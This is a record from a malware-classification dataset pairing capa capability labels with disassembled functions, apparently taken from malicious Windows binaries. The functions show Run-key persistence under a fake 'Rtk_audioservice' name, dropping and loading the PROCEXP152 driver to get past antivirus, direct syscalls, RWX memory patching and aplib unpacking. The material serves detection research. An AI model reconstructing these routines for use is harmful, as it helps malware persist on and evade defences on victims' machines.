joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1a0c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1a0c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1a0c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1a0c06f
add dl, dl
jne 0x1a0c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1a0c0f6
xor eax, eax
add dl, dl
jne 0x1a0c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1a0c1ad
add dl, dl
jne 0x1a0c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1a0c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1a0c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1a0c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1a0c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1a0c07e
mov eax, 1
add dl, dl
jne 0x1a0c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1a0c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1a0c0fb
sub eax, ebx
mov ebx, 1
jne 0x1a0c14c
mov ecx, 1
add dl, dl
jne 0x1a0c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1a0c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1a0c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1a0c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1a0c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1a0c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1a0c15d
cmp eax, 0x7d00
jae 0x1a0c19b
cmp eax, 0x500
jb 0x1a0c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1a0c07e
cmp eax, 0x7f
ja 0x1a0c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1a0c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1a0c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1a0c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001108c
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140015590
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x138]
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x14002a1ba]
call fcn.1400115fa
lea r8, [rbp + 8]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x140015608
lea rcx, str.____Error_during_creation_of_a_key_in_the_Windows_Registry._n_n
call fcn.1400112d5
mov eax, 1
jmp 0x140015679
mov rcx, qword [rbp + 0x100]
call fcn.14001129e
inc eax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Rtk_audioservice
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140015661
lea rcx, str.____Error_during_the_settings_of_a_key_in_the_Windows_Registry._n_n
call fcn.1400112d5
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140015679
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.___EXE_added_to_Startup_n_n
call fcn.1400112d5
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f560]
call fcn.140011514
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011357
Capabilities:
Terminate process

Disassembly:
jmp 0x1400173e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011442
Capabilities:
Parse pe header

Disassembly:
jmp 0x140018730
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018750
xor al, al
jmp 0x1400187d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018763
xor al, al
jmp 0x1400187d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001878d
xor al, al
jmp 0x1400187d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400187a1
xor al, al
jmp 0x1400187d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400187b3
xor al, al
jmp 0x1400187d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400187cf
xor al, al
jmp 0x1400187d1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400114d8
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140014cb0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1968
call fcn.140011118
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4d2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1988]
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0x1938], rax
lea rcx, [0x14002a1ba]
call fcn.1400115fa
lea r8, [rbp + 0x1024]
mov edx, 0x1000
lea rcx, [rbp + 0x10]
call fcn.140011262
test eax, eax
jne 0x140014d2e
lea rcx, str.____EnumProcesses_function_failed_n
call fcn.1400112d5
mov eax, 1
jmp 0x140014e95
mov eax, dword [rbp + 0x1024]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x1044], eax
mov dword [rbp + 0x1064], 0
jmp 0x140014d5e
mov eax, dword [rbp + 0x1064]
inc eax
mov dword [rbp + 0x1064], eax
mov eax, dword [rbp + 0x1044]
cmp dword [rbp + 0x1064], eax
jae 0x140014e87
mov eax, dword [rbp + 0x1064]
mov r8d, dword [rbp + rax*4 + 0x10]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1088], rax
cmp qword [rbp + 0x1088], 0
je 0x140014e82
lea r9, [rbp + 0x10c4]
mov r8d, 8
lea rdx, [rbp + 0x10a8]
mov rcx, qword [rbp + 0x1088]
call fcn.140011087
test eax, eax
je 0x140014e75
mov r9d, 0x104
lea r8, [rbp + 0x10f0]
mov rdx, qword [rbp + 0x10a8]
mov rcx, qword [rbp + 0x1088]
call fcn.14001102d
test eax, eax
je 0x140014e75
lea r9, [rbp + 0x10c4]
lea r8, [rbp + 0x1220]
xor edx, edx
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
test eax, eax
je 0x140014e75
mov rdx, qword [rbp + 0x1960]
lea rcx, [rbp + 0x10f0]
call fcn.14001111d
test rax, rax
jne 0x140014e3e
mov rdx, qword [rbp + 0x1960]
lea rcx, [rbp + 0x1220]
call fcn.14001111d
test rax, rax
je 0x140014e75
mov eax, dword [rbp + 0x1064]
mov r8d, dword [rbp + rax*4 + 0x10]
lea rdx, [rbp + 0x10f0]
lea rcx, str.___Process_found:__s__PID:__d__n_n
call fcn.1400112d5
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x1064]
mov eax, dword [rbp + rax*4 + 0x10]
jmp 0x140014e95
mov rcx, qword [rbp + 0x1088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140014d50
lea rcx, str.____Process_not_found_n
call fcn.1400112d5
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f080]
call fcn.140011514
mov rax, rdi
mov rcx, qword [rbp + 0x1938]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x1948]
pop rdi
pop rbp
ret
Function at 0x140003930
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003964
cmp word [rcx], 0x5a4d
jne 0x140003964
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003964
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003964
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003870
test eax, eax
jne 0x140003980
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400038e0
test rax, rax
je 0x140003975
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000412c
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004030
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140003fd0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004494
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000ea38]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000ea34]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400044e2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400044da
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400045c9
inc ebx
add rax, 0x28
jmp 0x1400044ba
mov rcx, r12
call fcn.140004cc1
mov rbp, rax
test rax, rax
jne 0x140004501
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004430
movsxd rbx, ebx
mov rax, qword [0x14000ea38]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004d6f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000ea38]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004563
mov rax, qword [0x14000ea38]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004430
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400045c3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400045c3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000ea38]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400045c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004430
inc dword [0x14000ea34]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400049f0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000eaa0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000ea80]
test rbx, rbx
je 0x140004a3c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004a36
test eax, eax
jne 0x140004a36
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004a0e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004bf0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004c13
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004c13
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004c14
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004c4e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004c45
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004c50
inc r8d
add rax, 0x28
jmp 0x140004c2c
xor eax, eax
ret

Function at 0x140004cc1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14000abf0]
mov r8, rcx
mov rcx, r9
call fcn.140004bf0
test eax, eax
je 0x140004ced
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004c14
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001720
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x48]
mov r8d, 8
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x290]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1400018b2
mov r9d, 0x104
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x290]
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x1400018b2
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov eax, 2
imul rax, rax, 0
lea rcx, [0x1400108c0]
movzx eax, word [rcx + rax]
test eax, eax
jne 0x1400018b2
lea rdx, str.Panda
lea rcx, [rsp + 0x70]
call sub.msvcrt.dll_wcsstr
test rax, rax
je 0x1400018b2
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x1400108c0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x30]
movzx ecx, word [rsp + 0x20]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
add rax, 2
mov qword [rsp + 0x30], rax
cmp word [rsp + 0x20], 0
jne 0x1400017df
cmp qword [0x140010ae0], 0
je 0x1400018b2
mov dx, 0x5c
lea rcx, [0x1400108c0]
call sub.msvcrt.dll_wcsrchr
add rax, 2
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x1400018b2
mov dx, 0x5c
lea rcx, [0x1400108c0]
call sub.msvcrt.dll_wcsrchr
xor ecx, ecx
mov word [rax + 2], cx
lea rax, [0x1400108c0]
mov qword [rsp + 0x28], rax
sub qword [rsp + 0x28], 2
add qword [rsp + 0x28], 2
mov rax, qword [rsp + 0x28]
cmp word [rax], 0
jne 0x140001874
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x140010ae0]
xor edx, edx
movzx r8d, word [rcx + rdx*2]
mov word [rax + rdx*2], r8w
inc rdx
test r8w, r8w
jne 0x140001893
lea rcx, [0x1400108c0]
call fcn.140006d30
mov rax, qword [rsp + 0x40]
add rsp, 0x288
ret
Function at 0x1400018c0
Capabilities:
Check if file exists
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [0x14000e3c8]
lea r8, [0x140006bf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [0x140017fa0], 0
je 0x140001909
mov rcx, qword [0x140017fa0]
call qword [0x140018020]
call fcn.140003f30
test eax, eax
jne 0x140001938
lea rcx, str.Setting_LoadDriverPrivilege_failed__this_might_cause_access_denied__5__error_on_some_hosts
call fcn.140002fc0
mov dword [0x14000e418], 0
mov eax, dword [0x14000e418]
jmp 0x140001a66
lea rcx, str.___LoadDriverPrivilege_granted
call fcn.140002fc0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140001999
lea rcx, str._i__Driver_file_is_not_exists
call fcn.140002fc0
lea rdx, [0x140010da0]
mov rcx, qword [rsp + 0x40]
call fcn.1400020a0
test eax, eax
je 0x140001982
lea rcx, str.___Driver_written_to_disk.
call fcn.140002fc0
jmp 0x140001997
mov dword [0x14000e418], 0
mov eax, dword [0x14000e418]
jmp 0x140001a66
jmp 0x1400019a5
lea rcx, str._i__Driver_file_is_exists
call fcn.140002fc0
lea rdx, str.PROCEXP152
mov rcx, qword [rsp + 0x40]
call fcn.140001bd0
test eax, eax
jne 0x1400019c8
lea rcx, str.____Could_not_load_driver__may_be_loaded
call fcn.140002fc0
jmp 0x1400019d4
lea rcx, str.___Driver_loaded_successfully
call fcn.140002fc0
mov rcx, qword [0x140017fa0]
call qword [0x140018020]
lea rcx, str._i__Try_connect_to_driver...
call fcn.140002fc0
lea rcx, str.PROCEXP152
call fcn.140001a70
mov qword [0x140017fa0], rax
cmp qword [0x140017fa0], 0
jne 0x140001a2a
lea rcx, str.____NoConnectTo_Device._AV_block_driver_
call fcn.140002fc0
mov dword [0x14000e418], 0
mov eax, dword [0x14000e418]
jmp 0x140001a66
lea rcx, str._____________________________________________________
call fcn.140002fc0
lea rcx, str.____________Connected_to_Driver_successful___________________
call fcn.140002fc0
lea rcx, str._____________________________________________________
call fcn.140002fc0
mov dword [0x14000e418], 1
mov eax, dword [0x14000e418]
jmp 0x140001a66
add rsp, 0x38
ret
Function at 0x140001f50
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
cmp qword [0x14000e410], 0xffffffffffffffff
je 0x14000207d
mov dword [rsp + 0x48], 0xffffffff
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x40], 0x22404c
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rsp + 0x40]
mov rcx, qword [0x14000e410]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x14000207d
lea rcx, str.VERSION
call fcn.140002fc0
mov dword [rsp + 0x40], 0x224050
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x10
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rsp + 0x40]
mov rcx, qword [0x14000e410]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x14000207d
lea rcx, str.SESSION
call fcn.140002fc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
xor r9d, r9d
xor r8d, r8d
mov edx, dword [0x140009a00]
mov rcx, qword [rsp + 0x50]
call qword [0x140018070]
mov eax, 1
jmp 0x14000208b
lea rcx, str.ERROR
call fcn.140002fc0
xor eax, eax
add rsp, 0x70
pop rdi
ret
Function at 0x1400020a0
Capabilities:
Delete file
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov byte [rsp + 0x68], 0
lea rax, [rsp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 9
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov rdi, rax
mov rsi, qword [rsp + 0xa8]
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x6e]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002176
lea rcx, str.Memory_to_decompressor_Allocated
call fcn.140002fc0
mov eax, dword [rsp + 0x6e]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0x60]
rep stosb byte [rdi], al
mov r8d, dword [rsp + 0x6e]
mov edx, dword [rsp + 0x6a]
lea rcx, str.Try_decompress_size__d_to__d
call fcn.140002fc0
mov rax, qword [rsp + 0xa8]
add rax, 0xa
mov r9d, dword [rsp + 0x6e]
mov r8d, dword [rsp + 0x6a]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140005060
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x40]
lea rcx, str.Memory_Uncompressed__size__d
call fcn.140002fc0
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400021e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0xa0]
lea rcx, str.____CreateFile_Error_0x_X_n
call fcn.140002fc0
jmp 0x14000226a
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x44], eax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [rsp + 0x44], 0
jne 0x14000223c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteFile:_0x_X_n
call fcn.140002fc0
jmp 0x14000226a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 6
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140002280
Capabilities:
Query service status
Start service

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x20000000
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400022bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenSCManager_failed:__d_n
call fcn.140002fc0
mov r8d, 0xa0000000
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140002304
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenService_TI_failed:__d_n
call fcn.140002fc0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x48]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1400023b8
cmp dword [rsp + 0x4c], 1
jne 0x140002373
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140002373
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.StartService_TI_failed:__d_n
call fcn.140002fc0
cmp dword [rsp + 0x4c], 2
je 0x140002381
cmp dword [rsp + 0x4c], 3
jne 0x140002390
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002304
cmp dword [rsp + 0x4c], 4
jne 0x1400023b3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [rsp + 0x64]
jmp 0x1400023e4
jmp 0x140002304
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.QueryServiceStatusEx_failed:__d_n
call fcn.140002fc0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
add rsp, 0x78
ret